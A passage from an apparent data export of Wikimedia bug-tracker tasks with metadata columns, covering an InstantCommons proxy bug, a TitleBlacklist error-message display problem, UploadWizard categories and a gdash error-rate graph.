+Maybe some commons admin can throw more light into what is needed.",,,1354269500,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-39,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+199499,Autocategorization by UploadWizard makes [[:commons:Category:Uploaded with UploadWizard]] uselessly large,"The category is not of any use any more; at least this way (without a date). It was used for statistics, I think but now it only proves that MediaWiki can handle very large categories, but this is not Wikimedia Commons' scope.
+
+Since I guess for Month-categories you have to change UpWiz' code and can't just change LocalSettings.php so I don't retarget this bug.",,,1354224403,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-zmpckjf2yvjn264quvyj,task_subcomment,,True,c2,1,False,,,-39,True,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,1,0
+44228,Login error message for blacklisted user autocreation shows markup,"Screenshot of a broken error message
+
+When TitleBlacklist blocks creation of a new user account, the error message is now correctly parsed and displayed (see bug 41242). However, if it blocks autocreation of a local user account, the message is broken. See the attached screenshot.
+
+The problem is that while the AbortNewAccount hook (see http://www.mediawiki.org/wiki/Manual:Hooks/AbortNewAccount) returns the error _message text_, the AbortAutoAccount hook (http://www.mediawiki.org/wiki/Manual:Hooks/AbortAutoAccount) returns the error _message name_. But both hooks are implemented with TitleBlacklistHooks::abortNewAccount which currently returns the error message text, so that AbortNewAccount works, while AbortAutoAccount does not. (Note the extra angle brackets on the screenshot: the resulting _message_ is used as a message name.)
+
+The simple solution of separating the hook implementation into a new abortAutoAccount method and leaving the wfMessage call just in abortNewAccount is probably not acceptable, because AbortAutoAccount would result in a message without the $1 and $2 parameters. Either a new nonspecific parameterless message would need to be used in this case or the whole AbortNewAccount hook would need to be redesigned.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F10268}",Medium,50.0,1353156840,1358533466.0,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,False,PHID-TASK-a5oosv56sj3jlq3dnt3l,task_description,resolved,True,c2,1,False,False,True,-41,True,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+206241,Login error message for blacklisted user autocreation shows markup,"Thanks for taking the time to report this!
+
+That string is https://en.wikipedia.org/wiki/MediaWiki:Titleblacklist-forbidden-new-account and hence a duplicate of bug 38894.
+
+*** This bug has been marked as a duplicate of bug 38894 ***",,,1358533466,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a5oosv56sj3jlq3dnt3l,task_subcomment,,True,c2,1,True,,,-32,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0
+44196,InstantCommons doesn't respect $wgHTTPProxy,"From mediawiki-l at http://permalink.gmane.org/gmane.org.wikimedia.mediawiki/40553
+
+Situation: InstantCommons does not work for me (I sitting behind a proxy).
+
+Configuration:
+- mediawiki 1.20 on debian squeeze
+
+Proxyconfig in Localsettings.php
+# PROXY Setting
+$wgHTTPProxy = ""http://*<myproxy>*:8080"";
+# proxy bypass list
+$wgConf->localVHosts[] = '*<www.secret.com>*';
+
+In my firewall-log I see that the debian-box tries to connect directly
+(which does not work)
+- Server: 91.198.174.224 port 80 http
+- wikimedia-lb.esams.wikimedia.org
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: major",Medium,50.0,1353076860,1378164634.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,False,PHID-TASK-hidviamjkvg5twi6j4q5,task_description,resolved,True,c2,1,False,False,True,-41,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+204337,InstantCommons doesn't respect $wgHTTPProxy,"**roolze** wrote:
+
+MW 1.21 is fine. Cheers, Roland",,,1378207677,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+204331,InstantCommons doesn't respect $wgHTTPProxy,"This was fixed in commit 5c8245acdffd8ff5f52638b85520c54b0aed6b9b.
+
+MW 1.21 should have the fix. Do you want it backported to 1.20?",,,1378164634,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+204325,InstantCommons doesn't respect $wgHTTPProxy,"Church of emacs, could you put your patch in gerrit please?",,,1366471579,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,True,,,-19,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+204321,InstantCommons doesn't respect $wgHTTPProxy,"removed negation when evaluating noProxy
+
+!this->noProxy is true iff the proxy sould be set. The old version of the method returns without setting the proxy in this case, while the new one does set the proxy.
+
+**Attached**: {F10208}",,,1366456806,,PHID-USER-j27ofmod3h6tzafsujyq,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+204315,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:
+
+Is there any resolution on this issue? My current workaround is to enable outgoing tcp requests bypassing the proxy server.",,,1364308158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-23,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+204309,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:
+
+I just granted unlimited outgoing tcp requests from our wiki-server and sucessfully opened a file descrition file from commons.wikimedia.org, still configured $wgForeignFileRepos[] ... 
+
+The symptom is bound to this firewall rule. Another parallel mediawiki 1.19.1 on this hosts works perfect with commons via our proxy so I strongly belive on a proxy configuration issue since 1.20.x.
+
+I diff'ed includes/HttpFunctions.php of both projects (1.19.1 --> 1.20.1) and found some new code around !$this->noProxy
+
+Since we have protected $noProxy = false; this shouldn't be a problem here ... I didn't find any $this->noProxy=something; so i think it is always false here.",,,1354390958,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+204303,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:
+
+Just to be sure, I added 
+	$wgHTTPProxy=""our-proxy-fqdn:3128""; 
+to our LocalSettings.php without any success. So neither environment variables not setting this $wgHTTPProxy seems to work here.",,,1354384803,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+204299,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:
+
+some correction to my last comment (2012-12-01 17:18:37 UTC): there's *no* access to our proxy, the access i saw was from another MediaWiki project.
+
+Correct is: There was no access to our proxy.
+
+According to the curl(1) manpage it will use following environment variables to 
+
+       http_proxy [protocol://]<host>[:port]
+       HTTPS_PROXY [protocol://]<host>[:port]
+       [url-protocol]_PROXY [protocol://]<host>[:port]
+       ALL_PROXY [protocol://]<host>[:port]
+
+Grepping our proxy from the output of ""phpinfo()"" brings:
+
+   ALL_PROXY            our-proxy-fqdn:3128
+   ftp_proxy            our-proxy-fqdn:3128
+   http_proxy           our-proxy-fqdn:3128
+   https_proxy          our-proxy-fqdn:3128
+   RSYNC_PROXY          our-proxy-fqdn:3128
+   _SERVER[""ALL_PROXY""] our-proxy-fqdn:3128
+   _SERVER[""ftp_proxy""] our-proxy-fqdn:3128
+   _SERVER[""http_proxy""] our-proxy-fqdn:3128
+   _SERVER[""https_proxy""] our-proxy-fqdn:3128
+   _SERVER[""RSYNC_PROXY""] our-proxy-fqdn:3128
+
+So libcurl / curl should be able to find one matching environment variable here. This configuration worked fine until yesterday, I upgraded from 1.19.0 to 1.20.1 today.
+
+We use following setting since 10/2011 or longer:
+
+$wgForeignFileRepos[] = array(
+   'class'                   => 'ForeignAPIRepo',
+   'name'                    => 'shared',
+   'apibase'                 => 'http://commons.wikimedia.org/w/api.php',
+   'fetchDescription'        => true, // Optional
+   'descriptionCacheExpiry'  => 43200, // 12 hours, optional (values are seconds)
+   'apiThumbCacheExpiry'     => 43200, // 12 hours, optional, but required for local thumb caching
+);
+
+
+This worked very well, I didn't change this conf sincs 2011-10-06.
+
+
+So something is new with 1.20.x or I missed some change?",,,1354383702,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+204294,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:
+
+Same issue here.
+
+OS: FreeBSD 7.4 but with recent (2012-08) ports build
+PHP5: php5-curl-5.4.5
+Proxy: squid
+
+MediaWiki is doing some kind of api-requests via proxy which get answered by 200: 
+[…] TCP_MISS/200 1277 GET http://commons.wikimedia.org/w/api.php? - DIRECT/91.198.174.224 application/json
+
+The relevant environment is set (as shown by phpinfo()):
+
+http_proxy 	our-proxy-fqdn:3128
+https_proxy 	our-proxy-fqdn:3128
+ftp_proxy 	our-proxy-fqdn:3128
+ALL_PROXY 	our-proxy-fqdn:3128
+RSYNC_PROXY 	our-proxy-fqdn:3128 
+
+There's no variable name containing ""proxy"" in our LocalSettings.*, so we use defaults here.
+
+I guess MediaWiki is actually doing requests to http://commons.wikimedia.org/w/api.php but may have problems parsing the result.",,,1354382317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+204287,InstantCommons doesn't respect $wgHTTPProxy,"**roolze** wrote:
+
+I have to add that i am using a windows box (windows 2008 r2 with iis with arr for url rewriting) in front of the linux box running mediawiki.
+
+Just mentioning it to avoid that we are looking at the wrong place ... (not sure if this can be a reason)",,,1354017780,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+204280,InstantCommons doesn't respect $wgHTTPProxy,"**roolze** wrote:
+
+PHP
+root@wsrz1002:~# php -v
+ PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 14:18:06) 
+
+CURL installed
+apt-get install php5-curl
+ Hole:2 http://ftp.tu-graz.ac.at/mirror/debian/ squeeze/main libcurl3 amd64 7.21.0-2.1+squeeze2 [285 kB]
+ php Hole:3 http://ftp.tu-graz.ac.at/mirror/debian/ squeeze/main php5-curl amd64 5.3.3-7+squeeze14 [27,0 kB]
+/etc/init.d/apache2 restart
+
+still same effect ?:|",,,1354016620,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+204272,InstantCommons doesn't respect $wgHTTPProxy,I've replied to the list to ask original issue submitter to comment with the the relevant information.,,,1353172458,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+204264,InstantCommons doesn't respect $wgHTTPProxy,"It would be useful to know if the user has the curl php extension installed. If the extension is installed we use curl to connect, otherwise we use php's fopen wrappers. Both code paths should have support for proxies (And should automatically support $wgHTTPProxy) however they are separate code paths, so it would be useful to know which one the user is encountering.
+
+PHP version numbers, and versions of curl php extension installed might also be helpful.",,,1353109732,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+43754,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Currently it's almost impossible to detect trends as 5xx errors are buried at the feet of the peaks of gazillions 500 errors.
+Perhaps it should also have a month-old report but that's less important.
+(I wanted to check the amount of 504 errors in the last few days/weeks.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://gdash.wikimedia.org/dashboards/reqerror/
+**See Also**:
+https://launchpad.net/bugs/925635",Medium,50.0,1351980240,1426523699.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_description,resolved,True,c2,1,True,False,False,-43,True,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+427014,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","spurious 500s have been fixed by https://phabricator.wikimedia.org/T88412 so it looks much more reasonable now, closing",,,1426523699,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,80,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+392706,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","looks like this is much better now?
+
+https://gdash.wikimedia.org/dashboards/reqerror/",,,1419421245,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,69,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0
+204041,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors",I still have no idea where to start to find a way that works...,,,1399137313,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,35,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+204036,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 117021 had a related patch set uploaded by Nemo bis:
+[gdash] Use logscale 10 for reqerror graph, again
+
+https://gerrit.wikimedia.org/r/117021",,,1394047426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,27,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+204032,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","(In reply to comment #10)
+> Change 105614 merged by Ori.livneh:
+> Also logbase 2 for the shorter reqerror graphs
+> 
+> https://gerrit.wikimedia.org/r/105614
+
+That worked for a bit, but then regressed again. Will need to check.",,,1392041572,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,23,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1
+204026,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 105614 merged by Ori.livneh:
+Also logbase 2 for the shorter reqerror graphs
+
+https://gerrit.wikimedia.org/r/105614",,,1389091486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+204019,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 105614 had a related patch set uploaded by Nemo bis:
+Also logbase 2 for the shorter reqerror graphs
+
+https://gerrit.wikimedia.org/r/105614",,,1388953099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+204013,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 101065 merged by Ori.livneh:
+Make logscale in reqerror graphs actually work
+
+https://gerrit.wikimedia.org/r/101065",,,1388950567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,18,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+204006,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 101065 had a related patch set uploaded by Nemo bis:
+Make logscale in reqerror graphs actually work
+
+https://gerrit.wikimedia.org/r/101065",,,1386880289,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+203996,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Apart from the wrong log scale setting (which needs to be per-graph), I probably also have to fix the x axis scale, because it seems with the current one it needs an extremely long image to actually show the data.",,,1386016842,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,13,True,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+203988,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95068 merged by Ori.livneh:
+Also add 2 months and 1 year graphs in ""(cdn) HTTP Error Rate""
+
+https://gerrit.wikimedia.org/r/95068",,,1384853536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+203983,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95064 merged by Ori.livneh:
+Use log scale for 5xx errors in ""(cdn) HTTP Error Rate""
+
+https://gerrit.wikimedia.org/r/95064",,,1384853527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+203979,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95068 had a related patch set uploaded by Nemo bis:
+Also add 2 months and 1 year graphs in ""(cdn) HTTP Error Rate""
+
+https://gerrit.wikimedia.org/r/95068",,,1384296310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+203975,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Change 95064 had a related patch set uploaded by Nemo bis:
+Use log scale for 5xx errors in ""(cdn) HTTP Error Rate""
+
+https://gerrit.wikimedia.org/r/95064",,,1384295502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+203972,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Created attachment 13762
